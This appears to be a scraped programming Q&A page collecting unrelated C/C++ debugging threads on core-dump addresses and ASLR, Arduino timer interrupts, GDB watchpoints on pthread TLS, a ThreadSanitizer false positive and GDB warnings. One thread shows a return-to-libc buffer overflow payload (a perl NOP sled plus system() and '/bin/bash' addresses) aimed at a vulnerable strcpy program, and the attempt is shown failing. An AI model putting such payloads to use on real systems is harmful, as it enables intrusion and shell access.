I am noticing a strange problem when I attempt to use the signal handler to dump global data to a text file and generate the core file. I would expect the data dumped to the file to be the same as that is present in the core file (it is the same global data)
in a header file foo.h
extern char buffer[100][80] ; // Hundred records each of length 80 characters
in foo.c
char buffer[100][80];
.. in a loop ..
snprintf(buffer[i],80,"%s:%d recorded idx = %d\n",__FUNCTION__,__LINE__,i);
in signal_handler.c
.. in a loop ..
fprintf(..dump data to text file..)
The data is dumped to the text file alright. I run the program in gdb and I issue the ABRT signal (the signal I am handling) via kill. In gdb I see
gdb) p &buffer[0]
$3 = (char (*)[80]) 0x1002c8970
I continue and generate the core file. In the core dump I see
(gdb) p &buffer[0]
$2 = (char (*)[80]) 0x1002c9a80
the difference between the two positions is 1110.
My question is why do I see this discrepancy in the core file ? Any leads would be appreciated!
Thanks
John
EDIT To clarify, the problem is not in generating the core via GDB
Full code without signal handlers to isolate the problem.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX 100
char buffer[100][80];
int main()
{
int i = 0;
int idx = 0;
FILE *fp = NULL;
fp = fopen("test.txt","w");
if (!fp)
exit(1);
for (i=0; i < 5500; i++) {
snprintf(buffer[idx],80,"%s:%d idx = %d\n",__FUNCTION__, __LINE__, i);
idx = ((idx + 1)% MAX);
}
for (i = 0 ; i < MAX; i++)
fprintf(fp,"%s",buffer[i]);
fclose(fp);
abort();
return 0;
}
The problem is not when I am trying to run in GDB, the problem is that in the core file generated,
gdb) p buffer[0]
$2 "c0 - idx = 54\n", '\0' , "main:20 0x7ef9524"
the buffer is offset by 1110 bytes. I had used GDB to check if the buffer was corrupted. Sorry about the confusion.
Please provide a stand-alone example. I can explain different address when the core is produced from outside GDB, but not when it is produced from inside GDB.
Here is what I see:
$ cat foo.c
#include <stdio.h>
#include <stdlib.h>
char buf[100][80];
int main()
{
sprintf(buf[0], "hello");
sprintf(buf[1], "hello again");
abort();
}
$ gcc -g foo.c -fPIC -pie # PIE executable so its address can be randomized
$ gdb -q a.out
Reading symbols from /tmp/a.out...done.
(gdb) r
Program received signal SIGABRT, Aborted.
0x00007ffff7a8ca75 in raise () at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
(gdb) p &buf[0]
$1 = (char (*)[80]) 0x7ffff81ff060
(gdb) sig SIGABRT
Program terminated with signal SIGABRT, Aborted.
The program no longer exists.
(gdb) q
$ gdb -q a.out core
Reading symbols from /tmp/a.out...done.
[New Thread 20440]
Core was generated by `/tmp/a.out'.
Program terminated with signal 6, Aborted.
#0 0x00007ffff7a8ca75 in raise () at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
(gdb) p &buf[0]
$1 = (char (*)[80]) 0x7ffff81ff060 # same address as before
(gdb) q
$ ./a.out
Aborted (core dumped)
$ gdb -q a.out core
Reading symbols from /tmp/a.out...done.
[New Thread 20448]
Core was generated by `./a.out'.
Program terminated with signal 6, Aborted.
#0 0x00007fef9dcb5a75 in raise () at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
(gdb) p &buf[0]
$1 = (char (*)[80]) 0x7fef9e428060 # different address due to ASLR
Related
I am trying to make two LEDs blink on my Arduino Uno R3 (for learning purposes). I use avr-gcc and avrdude to compile and load my program.
The first one I make blink within a while loop in main. I am trying to use Timer0 to turn the second one on and off.
First, the code that works :
#include <avr/io.h>
#include <util/delay.h>
int main() {
TCCR0B |= (1 << CS02) | (1 << CS00);
TIMSK0 |= (1 << TOIE0);
DDRD = 1 << PD3;
DDRB = 1 << PB5;
PORTB = 0;
while(1) {
PORTD ^= 1 << PD3;
_delay_ms(500);
}
return 0;
}
As expected, this code makes my LED blink on and off, and start again every second. I am also setting up (but not using) the second LED and the timer.
Now, the issues start when I add an interrupt vector:
...
#include <avr/interrupt.h>
volatile uint8_t intrs;
ISR(TIMER0_OVF_vect) {
if (++intrs >= 62) { // meant to execute every second
PORTB ^= (1 << PB5);
intrs = 0;
}
}
int main() {
intrs = 0;
... // old setup
sei();
while(1) { ... }
}
Now, none of the LEDs blink. Even weirder, none of them blink when I remove the sei(). The only way I've found to make the first LED blink again is to comment out the ISR declaration or to mark it ISR_NAKED.
So, what gives?
PS : I use a makefile to compile & load. When I run it, it looks like this:
$ make
avr-gcc -c -Os -DF_CPU=16000000UL -mmcu=atmega328p -Wall -Wextra main.c
avr-gcc -o prog.elf main.o
avr-objcopy -O ihex -R .eeprom prog.elf prog.hex
avrdude -C/etc/avrdude.conf -v -V -carduino -patmega328p -P/dev/ttyACM0 -b115200 -D -Uflash:w:prog.hex
.. # avrdude logs
I use the arduino framework with setup() and loop() functions. It might not be an optimal choice, but it's easier. Timer 0 is used by wiring.c, which is responsible for delay functions (not _delay_ms() which doesn't use interrupts). This can be disabled, as explained in this post or timer 2 can be used instead. In the latter case, your second code works fine. Could it be that you face a similar problem?
Is it possible to set a watchpoint on pthread's thread-local storage using GDB? I have a program that runs:
struct stored_type *res = pthread_getspecific(tls_key);
...and after a few thousand calls it returns 0 instead of a valid pointer. I'd really love to figure out what's setting that value to 0. I've tried setting breakpoints on pthread_setspecific and pthread_delete_key (the only things I could think of that would reasonably cause the key to change value) and those breakpoints aren't getting hit, so I'm thinking there's some kind of overrun happening.
I'm using Linux x86_64 with glibc 2.23.
... the only things I could think of that would reasonably cause the key to change value
The most likely reasons for pthread_getspecific to return NULL:
you are in fact executing in a new thread, one in which pthread_setspecific hasn't been called,
you are calling pthread_getspecific while current thread is in the process of being destroyed (i.e. pthread_exit is somewhere on the stack),
you are calling pthread_getspecific in a signal handler (none of pthread_* functions are async-signal safe).
Assuming none of the above reasons are true in your case, on with the show.
First we need a test case to demonstrate on.
#include <assert.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
pthread_key_t key;
void *thrfn(void *p) {
int rc = pthread_setspecific(key, &p);
assert(rc == 0);
sleep(60);
rc = pthread_setspecific(key, (void*)0x112233);
assert(rc == 0);
return p;
}
int main()
{
pthread_t thr;
int rc = pthread_key_create(&key, NULL);
assert(rc == 0);
rc = pthread_create(&thr, NULL, thrfn, NULL);
assert(rc == 0);
sleep(90);
return 0;
}
gcc -g -pthread t.c
gdb -q ./a.out
(gdb) start
Now, it helps very much to have GLIBC that is compiled with debug info. Most distributions provide a libc-dbg or similar package, which supplies that. Looking at pthread_setspecific source, you can see that inside the thread descriptor (self) there is a specific_1stblock array, where the space for first PTHREAD_KEY_2NDLEVEL_SIZE == 32 key slots is pre-allocated (32 distinct keys is usually more than enough).
The value that we pass will be stored in self->specific_1stblock[key].data, and that's exactly the location you'll want to set the watchpoint on.
In our sample program, key == 0 (as this is the very first key). Putting it all together:
Starting program: /tmp/a.out
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Temporary breakpoint 1, main () at t.c:21
21 int rc = pthread_key_create(&key, NULL);
(gdb) b pthread_setspecific
Breakpoint 2 at 0x7ffff7bc9460: file pthread_setspecific.c, line 28.
(gdb) c
Continuing.
[New Thread 0x7ffff77f6700 (LWP 58683)]
[Switching to Thread 0x7ffff77f6700 (LWP 58683)]
Breakpoint 2, __GI___pthread_setspecific (key=0, value=0x7ffff77f5ef8) at pthread_setspecific.c:28
28 pthread_setspecific.c: No such file or directory.
(gdb) n
35 in pthread_setspecific.c
(gdb) n
28 in pthread_setspecific.c
(gdb) p self
$1 = (struct pthread *) 0x7ffff77f6700
(gdb) watch -l self.specific_1stblock[key].data
Hardware watchpoint 3: -location self.specific_1stblock[key].data
(gdb) c
Continuing.
Hardware watchpoint 3: -location self.specific_1stblock[key].data
Old value = (void *) 0x0
New value = (void *) 0x7ffff77f5ef8
__GI___pthread_setspecific (key=<optimized out>, value=0x7ffff77f5ef8) at pthread_setspecific.c:89
89 in pthread_setspecific.c
Note that the new value is exactly the value that we passed to pthread_setspecific.
(gdb) c
Continuing.
Breakpoint 2, __GI___pthread_setspecific (key=0, value=0x112233) at pthread_setspecific.c:28
28 in pthread_setspecific.c
(gdb) c
Continuing.
Hardware watchpoint 3: -location self.specific_1stblock[key].data
Old value = (void *) 0x7ffff77f5ef8
New value = (void *) 0x112233
__GI___pthread_setspecific (key=<optimized out>, value=0x112233) at pthread_setspecific.c:89
89 in pthread_setspecific.c
This is our second pthread_setspecific call
(gdb) c
Continuing.
Hardware watchpoint 3: -location self.specific_1stblock[key].data
Old value = (void *) 0x112233
New value = (void *) 0x0
__nptl_deallocate_tsd () at pthread_create.c:152
152 pthread_create.c: No such file or directory.
And this is thread destruction, which deallocates the thread descriptor itself.
(gdb) c
Continuing.
[Thread 0x7ffff77f6700 (LWP 58683) exited]
[Inferior 1 (process 58677) exited normally]
I've boiled this down to a simple self-contained example. The main thread enqueues 1000 items, and a worker thread tries to dequeue concurrently. ThreadSanitizer complains that there's a race between the read and the write of one of the elements, even though there is an acquire-release memory barrier sequence protecting them.
#include <atomic>
#include <thread>
#include <cassert>
struct FakeQueue
{
int items[1000];
std::atomic<int> m_enqueueIndex;
int m_dequeueIndex;
FakeQueue() : m_enqueueIndex(0), m_dequeueIndex(0) { }
void enqueue(int x)
{
auto tail = m_enqueueIndex.load(std::memory_order_relaxed);
items[tail] = x; // <- element written
m_enqueueIndex.store(tail + 1, std::memory_order_release);
}
bool try_dequeue(int& x)
{
auto tail = m_enqueueIndex.load(std::memory_order_acquire);
assert(tail >= m_dequeueIndex);
if (tail == m_dequeueIndex)
return false;
x = items[m_dequeueIndex]; // <- element read -- tsan says race!
++m_dequeueIndex;
return true;
}
};
FakeQueue q;
int main()
{
std::thread th([&]() {
int x;
for (int i = 0; i != 1000; ++i)
q.try_dequeue(x);
});
for (int i = 0; i != 1000; ++i)
q.enqueue(i);
th.join();
}
ThreadSanitizer output:
==================
WARNING: ThreadSanitizer: data race (pid=17220)
Read of size 4 at 0x0000006051c0 by thread T1:
#0 FakeQueue::try_dequeue(int&) /home/cameron/projects/concurrentqueue/tests/tsan/issue49.cpp:26 (issue49+0x000000402bcd)
#1 main::{lambda()#1}::operator()() const <null> (issue49+0x000000401132)
#2 _M_invoke<> /usr/include/c++/5.3.1/functional:1531 (issue49+0x0000004025e3)
#3 operator() /usr/include/c++/5.3.1/functional:1520 (issue49+0x0000004024ed)
#4 _M_run /usr/include/c++/5.3.1/thread:115 (issue49+0x00000040244d)
#5 <null> <null> (libstdc++.so.6+0x0000000b8f2f)
Previous write of size 4 at 0x0000006051c0 by main thread:
#0 FakeQueue::enqueue(int) /home/cameron/projects/concurrentqueue/tests/tsan/issue49.cpp:16 (issue49+0x000000402a90)
#1 main /home/cameron/projects/concurrentqueue/tests/tsan/issue49.cpp:44 (issue49+0x000000401187)
Location is global 'q' of size 4008 at 0x0000006051c0 (issue49+0x0000006051c0)
Thread T1 (tid=17222, running) created by main thread at:
#0 pthread_create <null> (libtsan.so.0+0x000000027a67)
#1 std::thread::_M_start_thread(std::shared_ptr<std::thread::_Impl_base>, void (*)()) <null> (libstdc++.so.6+0x0000000b9072)
#2 main /home/cameron/projects/concurrentqueue/tests/tsan/issue49.cpp:41 (issue49+0x000000401168)
SUMMARY: ThreadSanitizer: data race /home/cameron/projects/concurrentqueue/tests/tsan/issue49.cpp:26 FakeQueue::try_dequeue(int&)
==================
ThreadSanitizer: reported 1 warnings
Command line:
g++ -std=c++11 -O0 -g -fsanitize=thread issue49.cpp -o issue49 -pthread
g++ version: 5.3.1
Can anybody shed some light onto why tsan thinks this is a data race?
UPDATE
It seems like this is a false positive. To appease ThreadSanitizer, I've added annotations (see here for the supported ones and here for an example). Note that detecting whether tsan is enabled in GCC via a macro has only recently been added, so I had to manually pass -D__SANITIZE_THREAD__ to g++ for now.
#if defined(__SANITIZE_THREAD__)
#define TSAN_ENABLED
#elif defined(__has_feature)
#if __has_feature(thread_sanitizer)
#define TSAN_ENABLED
#endif
#endif
#ifdef TSAN_ENABLED
#define TSAN_ANNOTATE_HAPPENS_BEFORE(addr) \
AnnotateHappensBefore(__FILE__, __LINE__, (void*)(addr))
#define TSAN_ANNOTATE_HAPPENS_AFTER(addr) \
AnnotateHappensAfter(__FILE__, __LINE__, (void*)(addr))
extern "C" void AnnotateHappensBefore(const char* f, int l, void* addr);
extern "C" void AnnotateHappensAfter(const char* f, int l, void* addr);
#else
#define TSAN_ANNOTATE_HAPPENS_BEFORE(addr)
#define TSAN_ANNOTATE_HAPPENS_AFTER(addr)
#endif
struct FakeQueue
{
int items[1000];
std::atomic<int> m_enqueueIndex;
int m_dequeueIndex;
FakeQueue() : m_enqueueIndex(0), m_dequeueIndex(0) { }
void enqueue(int x)
{
auto tail = m_enqueueIndex.load(std::memory_order_relaxed);
items[tail] = x;
TSAN_ANNOTATE_HAPPENS_BEFORE(&items[tail]);
m_enqueueIndex.store(tail + 1, std::memory_order_release);
}
bool try_dequeue(int& x)
{
auto tail = m_enqueueIndex.load(std::memory_order_acquire);
assert(tail >= m_dequeueIndex);
if (tail == m_dequeueIndex)
return false;
TSAN_ANNOTATE_HAPPENS_AFTER(&items[m_dequeueIndex]);
x = items[m_dequeueIndex];
++m_dequeueIndex;
return true;
}
};
// main() is as before
Now ThreadSanitizer is happy at runtime.
This looks like https://gcc.gnu.org/bugzilla/show_bug.cgi?id=78158. Disassembling the binary produced by GCC shows that it doesn't instrument the atomic operations on O0.
As a workaround, you can either build your code with GCC with -O1/-O2, or get yourself a fresh Clang build and use it to run ThreadSanitizer (this is the recommended way, as TSan is being developed as part of Clang and only backported to GCC).
The comments above are invalid: TSan can easily comprehend the happens-before relation between the atomics in your code (one can check that by running the above reproducer under TSan in Clang).
I also wouldn't recommend using the AnnotateHappensBefore()/AnnotateHappensAfter() for two reasons:
you shouldn't need them in most cases; they denote that the code is doing something really complex (in which case you may want to double-check you're doing it right);
if you make an error in your lock-free code, spraying it with annotations may mask that error, so that TSan won't notice it.
The ThreadSanitizer is not good at counting, it cannot understand that writes to the items always happen before the reads.
The ThreadSanitizer can find that the stores of m_enqueueIndex happen before the loads, but it does not understand that the store to items[m_dequeueIndex] must happen before the load when tail > m_dequeueIndex.
The program I want to attack is the following:
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
It is in redhat 6.2, so I didn't think there was anything to consider.
So I tried this:
(gdb) b main
Breakpoint 1 at 0x8048439
(gdb) r
Starting program: /home/asdf/asdfghj
Breakpoint 1, 0x8048439 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) x/s 0xbfffff8e
0xbfffff8e: "/bin/bash"
(gdb) q
So my payload looked like this, the first 260 bytes being the buffer+sfp, then the address of the system function, a 4 byte dummy, and the address of the argument, "/bin/bash".
./asdfghj `perl -e 'print "\x90"x260, "\xe0\x8a\x05\x40", "AAAA", "\x8e\xff\xff\xbf"'`
However this still gives me only a segmentation fault. I have no idea how to fix this, and the addresses come from the dumped core of the program which I set a breakpoint, ran it, then got the addresses.
What should I check to successfully attack the program and what do you think is the problem? Is it that I use /bin/bash, or any of the addresses incorrect?
Plus, I've already set bash2 for default.
Thanks. :)
I saw this nifty one liner for gdb to dump out backtrace for all threads after a core dump. So I tried a quick:
int main() {int* x = new int[5]; for(int i = 0; true; ++i) x[i] = i; }
to get a core dump and then ran this:
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" a.out core.box-name.a.out.27459.8515.11
And I get the output:
[New LWP 27459]
warning: Can't read pathname for load map: Input/output error.
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff9e503000
Core was generated by `./a.out'.
Program terminated with signal 11, Segmentation fault.
#0 0x00000000004005ca in main () at <stdin>:6
6 <stdin>: No such file or directory.
Thread 1 (LWP 27459):
#0 0x00000000004005ca in main () at <stdin>:6
i = 33788
x = 0x1a460010
I see a backtrace which is nice, but am wondering what the two warnings I also see are about?
Seems from this link, it was a bug in gdb and has been fixed in the recent releases.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=248898